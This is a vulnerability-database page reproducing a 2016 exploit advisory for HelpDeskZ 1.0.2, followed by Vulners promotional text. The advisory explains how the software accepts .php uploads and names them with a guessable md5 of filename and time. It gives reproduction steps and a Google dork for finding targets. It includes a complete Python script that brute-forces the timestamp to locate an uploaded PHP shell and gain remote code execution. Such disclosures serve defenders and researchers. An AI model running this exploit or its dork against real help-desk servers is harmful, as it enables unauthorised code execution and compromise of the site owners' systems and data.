Lucene search
K

HelpDeskz 1.0.2 Shell Upload

🗓️ 29 Aug 2016 00:00:00Reported by Lars MorgenrothType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 52 Views

Unauthenticated shell upload vulnerability in HelpDeskZ 1.0.2 allows remote code executio

Code
`# Exploit Title: HelpDeskZ <= v1.0.2 - Unauthenticated Shell Upload  
# Google Dork: intext:"Help Desk Software by HelpDeskZ"  
# Date: 2016-08-26  
# Exploit Author: Lars Morgenroth - @krankoPwnz  
# Vendor Homepage: http://www.helpdeskz.com/  
# Software Link: https://github.com/evolutionscript/HelpDeskZ-1.0/archive/master.zip  
# Version: <= v1.0.2  
# Tested on:  
# CVE :  
  
HelpDeskZ <= v1.0.2 suffers from an unauthenticated shell upload vulnerability.  
  
The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk, because the filenames get "obfuscated" when they are uploaded. However, there is a weakness in the rename function of the uploaded file:  
  
/controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*  
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;  
  
So by guessing the time the file was uploaded, we can get RCE.  
  
Steps to reproduce:  
  
http://localhost/helpdeskz/?v=submit_ticket&action=displayForm  
  
Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.  
  
Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:  
  
exploit.py http://localhost/helpdeskz/ phpshell.php   
'''   
import hashlib  
import time  
import sys  
import requests  
  
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'  
  
if len(sys.argv) < 3:  
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])  
sys.exit(1)  
  
helpdeskzBaseUrl = sys.argv[1]  
fileName = sys.argv[2]  
  
currentTime = int(time.time())  
  
for x in range(0, 300):  
plaintext = fileName + str(currentTime - x)  
md5hash = hashlib.md5(plaintext).hexdigest()  
  
url = helpdeskzBaseUrl+md5hash+'.php'  
response = requests.head(url)  
if response.status_code == 200:  
print "found!"  
print url  
sys.exit(0)  
  
print "Sorry, I did not find anything"  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Aug 2016 00:00Current
7.4High risk
Vulners AI Score7.4
52